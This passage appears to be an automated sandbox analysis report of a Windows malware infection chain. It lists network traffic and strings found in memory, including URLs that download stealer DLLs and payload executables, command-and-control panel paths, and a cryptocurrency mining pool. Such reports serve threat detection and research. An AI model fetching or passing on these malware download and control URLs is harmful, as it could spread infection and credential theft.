Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Range: bytes=195712-195712If-Range: 0x8DCEC757C1AD1D1
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MSCC=NR
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/Spreadtest.cmd HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /iPbGOhXhjezIEpnuodWg1732963366?argument=rh10FizSkZe46bf51733003679 HTTP/1.1Host: home.twentykx20sb.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.twentykx20sb.top
Source: global traffic	DNS traffic detected: DNS query: tmpfiles.org
Source: global traffic	DNS traffic detected: DNS query: twentykx20sb.top
Source: global traffic	DNS traffic detected: DNS query: filelu.com
Source: global traffic	DNS traffic detected: DNS query: 3333.filelu.cloud
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: xmr-eu2.nanopool.org
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: atten-supporse.biz

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sat, 30 Nov 2024 21:54:46 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oeU8gOcYqT25ruORjikIkBxk6Dv8sxqj2YzMfl0%2B72m6u4jmDEATMoaIBEIjsNbCCBdEEf4ogIGh7ZxSJNttT2ySAidOIEwmACi0sxUxJ64XzfO7LY84K8tAVrmJL0Y%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8eae13ed99ae42d7-EWR

Source: ddd4dd05d2.exe, 00000026.00000003.2743254762.000000000733C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: ddd4dd05d2.exe, 00000026.00000003.2743254762.000000000733C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: svchost.exe, 00000032.00000002.3975030142.000001FDE9840000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://154.216.20.237/Gd84kkjf/index.php
Source: skotes.exe, 00000013.00000002.3954473622.0000000000C16000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000002.4018101149.0000000006090000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: file.exe, 00000000.00000002.2072947240.0000000023780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: skotes.exe, 00000013.00000002.3954473622.0000000000C16000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000032.00000003.3216885123.000001FDE987E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 00000013.00000002.3954473622.0000000000C16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000013.00000002.3954473622.0000000000C16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: file.exe, 00000000.00000002.2034821109.00000000005E4000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2035943037.000000000103E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2034821109.000000000062C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2035943037.000000000109B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2035943037.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2035943037.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2035943037.0000000001082000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2035943037.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2035943037.0000000001082000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2035943037.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2035943037.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2035943037.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll)F
Source: file.exe, 00000000.00000002.2034821109.00000000005E4000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2035943037.000000000103E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2035943037.000000000109B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2072947240.00000000237F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2034821109.000000000062C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2072947240.00000000237E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2035943037.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2035943037.0000000001082000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2072947240.00000000237E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php.5fM%
Source: file.exe, 00000000.00000002.2035943037.0000000001082000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php2
Source: file.exe, 00000000.00000002.2034821109.000000000062C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php2b1f8d0532498093dd4b702d9c71nsion
Source: file.exe, 00000000.00000002.2072947240.00000000237E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpF5
Source: file.exe, 00000000.00000002.2072947240.00000000237E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpV4
Source: file.exe, 00000000.00000002.2072947240.00000000237F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php_%$L
Source: file.exe, 00000000.00000002.2034821109.00000000005E4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.2035943037.000000000109B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpgPreference.VerbW
Source: file.exe, 00000000.00000002.2034821109.00000000005E4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpser
Source: file.exe, 00000000.00000002.2072947240.00000000237E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpy
Source: file.exe, 00000000.00000002.2035943037.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.2063Z
Source: file.exe, 00000000.00000002.2034821109.00000000005E4000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2034821109.000000000062C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ocal
Source: file.exe, 00000000.00000002.2034821109.00000000005E4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ocalMicrosoft
Source: skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000013.00000002.4018101149.0000000006090000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000032.00000002.3976524095.000001FDE985D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000013.00000002.3954473622.0000000000B9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php--C
Source: skotes.exe, 00000013.00000002.4018101149.0000000006090000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php/
Source: skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php0/
Source: skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php01
Source: skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php01#
Source: skotes.exe, 00000013.00000002.3954473622.0000000000B9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php793001
Source: skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpS
Source: skotes.exe, 00000013.00000002.4018101149.0000000006090000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpcodedg
Source: skotes.exe, 00000013.00000002.4018101149.0000000006090000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000013.00000002.4018101149.0000000006090000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded(
Source: skotes.exe, 00000013.00000002.4018101149.0000000006090000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedD
Source: svchost.exe, 00000032.00000002.3975030142.000001FDE9840000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000032.00000000.2779684046.000001FDE9840000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpp
Source: skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/rosoft
Source: skotes.exe, 00000013.00000002.3954473622.0000000000B9D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000032.00000000.2779684046.000001FDE9840000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000032.00000000.2779762752.000001FDE9858000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/Spreadtest.cmd
Source: skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000032.00000000.2779762752.000001FDE985D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exe
Source: skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exe;
Source: skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe
Source: skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exet
Source: explorer.exe, 0000001E.00000002.4028158216.00000000087BB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4028158216.00000000086A0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2671156957.0000000008685000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2671156957.00000000087BB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: powershell.exe, 0000001B.00000002.2648700373.0000000007AD0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2718254931.0000000007630000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: svchost.exe, 00000021.00000000.2696058411.000001DC07306000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000021.00000002.3993307694.000001DC07306000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: explorer.exe, 0000001E.00000002.4028158216.00000000087BB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4028158216.00000000086A0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2671156957.0000000008685000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2671156957.00000000087BB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 0000001E.00000002.4028158216.00000000087BB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4028158216.00000000086A0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2671156957.0000000008685000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2671156957.00000000087BB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: svchost.exe, 00000021.00000000.2695308251.000001DC06A3F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000021.00000002.3977643801.000001DC06A3F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000021.00000000.2695308251.000001DC06A3F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000021.00000002.3977643801.000001DC06A3F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabe.com3D
Source: svchost.exe, 00000021.00000000.2695308251.000001DC06A3F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000021.00000002.3977643801.000001DC06A3F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cablA%3D
Source: svchost.exe, 00000021.00000000.2695308251.000001DC06A3F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000021.00000002.3977643801.000001DC06A3F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/pinrulesstl.cab
Source: svchost.exe, 00000021.00000000.2695801975.000001DC06AF8000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000021.00000002.3987431779.000001DC06AF8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com:80/msdownload/update/v3/static/trustedr/en/pinrulesstl.cab?666d98cec0
Source: ddd4dd05d2.exe, 00000026.00000003.2743254762.000000000733C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.twentykx20sb.top/iPbGOhXhjezIEpnuodW366
Source: ddd4dd05d2.exe, 00000026.00000003.2743254762.000000000733C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: powershell.exe, 0000001F.00000002.2719804879.00000000076CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://microsofm/pkiops/Microso0Time-St20PCA%20(1).crl0
Source: powershell.exe, 0000001B.00000002.2646659499.0000000006274000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2708841815.0000000005D14000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2793368169.00000000058A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: explorer.exe, 0000001E.00000002.4028158216.00000000087BB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4028158216.00000000086A0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2671156957.0000000008685000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2671156957.00000000087BB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: powershell.exe, 00000029.00000002.2773583142.000000000497C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2802482450.0000000007282000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: explorer.exe, 0000001E.00000000.2658145766.0000000002C60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000001E.00000000.2670794957.00000000082D0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000001E.00000002.4021100812.0000000007670000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: powershell.exe, 0000001B.00000002.2639829502.0000000005365000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2694166803.0000000004E01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2773583142.000000000497C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 0000001A.00000002.2600480502.0000000004B45000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2639829502.0000000005211000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2694166803.0000000004CB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2773583142.0000000004841000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003F.00000002.2842747514.0000000004BA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000001B.00000002.2639829502.0000000005365000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2694166803.0000000004E01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2773583142.000000000497C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000029.00000002.2773583142.000000000497C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2802482450.0000000007282000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: svchost.exe, 00000037.00000002.3981382486.000001C9AFED7000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.google.comConsole
Source: powershell.exe, 0000001F.00000002.2726096406.00000000085AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: file.exe, file.exe, 00000000.00000002.2082780680.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2068118427.000000001D68F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2082536606.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: svchost.exe, 00000036.00000002.3973525891.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https:///WAB-23B4D62B-952A-47E7-969C-B95DBF145D3D.local
Source: svchost.exe, 00000036.00000000.2807133226.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3973525891.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https:///live.com
Source: svchost.exe, 00000036.00000000.2807133226.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3973525891.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https:///live.comM
Source: svchost.exe, 00000036.00000000.2807133226.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3973525891.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https:///windows.net
Source: svchost.exe, 00000036.00000002.3973525891.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https:///xboxlive.com
Source: file.exe, 00000000.00000003.1685279605.00000000010EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: explorer.exe, 0000001E.00000000.2676999905.000000000BD22000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4039426673.000000000BD22000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp(
Source: explorer.exe, 0000001E.00000003.3086966675.000000000C215000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4043196898.000000000C1EB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp9
Source: powershell.exe, 0000001F.00000002.2719391266.0000000007699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka..winsvr
Source: powershell.exe, 0000001A.00000002.2600480502.0000000004B19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2600480502.0000000004B28000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2639829502.0000000005211000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2694166803.0000000004CB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2773583142.0000000004841000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003F.00000002.2842747514.0000000004B88000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003F.00000002.2842747514.0000000004B68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000029.00000002.2773583142.000000000497C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: explorer.exe, 0000001E.00000000.2676999905.000000000BE31000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4042964747.000000000C19E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4039426673.000000000BE31000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 0000001E.00000000.2676999905.000000000BE31000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4039426673.000000000BE31000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOSJM
Source: explorer.exe, 0000001E.00000000.2676999905.000000000BE31000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4039426673.000000000BE31000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOSZM
Source: explorer.exe, 0000001E.00000000.2676999905.000000000BE31000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4039426673.000000000BE31000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOSp
Source: explorer.exe, 0000001E.00000002.4028158216.0000000008796000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2671156957.0000000008796000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/rT
